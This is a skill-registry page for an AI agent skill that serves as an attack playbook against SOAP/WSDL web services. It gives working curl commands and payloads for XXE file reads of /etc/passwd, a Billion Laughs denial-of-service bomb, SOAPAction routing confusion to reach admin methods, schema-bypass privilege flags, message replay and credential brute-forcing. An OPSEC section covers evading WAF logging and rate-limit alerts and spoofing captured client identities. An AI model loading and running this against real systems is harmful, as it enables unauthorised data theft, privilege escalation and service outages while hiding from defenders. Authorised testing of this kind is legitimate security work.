# API Soap Wsdl

> SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

- Skill: `purpleailab/api-soap-wsdl` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/api-soap-wsdl`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/api-soap-wsdl/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/api-soap-wsdl

---


# SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

## Discovery

```bash
# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl
```

## Quick attack catalog

### XXE in SOAP envelope
```bash
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx
```

### WS-Security UsernameToken brute / clear-text leak
The `<wsse:UsernameToken>` often carries `<wsse:Password>` in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

```bash
# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class
```

### WS-Addressing replay
SOAP responses often include `<wsa:RelatesTo>` referencing the request `<wsa:MessageID>`. Some servers don't validate freshness:

```xml
<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>
```

### SAML in WS-Trust / SAML EncryptedAssertion
WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

### Schema validation bypass
Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

```xml
<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>
```

### XML Bomb / Billion Laughs DoS
```xml
<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>
```

### SOAPAction routing confusion
.NET ASMX picks the method by `SOAPAction` header, not body. Mismatch → call methods you shouldn't be able to:

```bash
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
  -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
  https://target/Service.asmx
```

## Tooling

```bash
# SoapUI free / Postman SOAP — interactive probing
soapui --gui  # or non-GUI: testrunner.sh

# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping

# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"
```

## OPSEC

- WS-Addressing `<wsa:MessageID>` is logged in many WAFs — randomize per-request.
- WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
- SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.

## References

- WS-Attacks.org — XSW, XXE, WS-Security variants catalog
- OWASP "Testing for Web Services" — chapter on SOAP/WSDL
- "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
- Burp extension: SAML Raider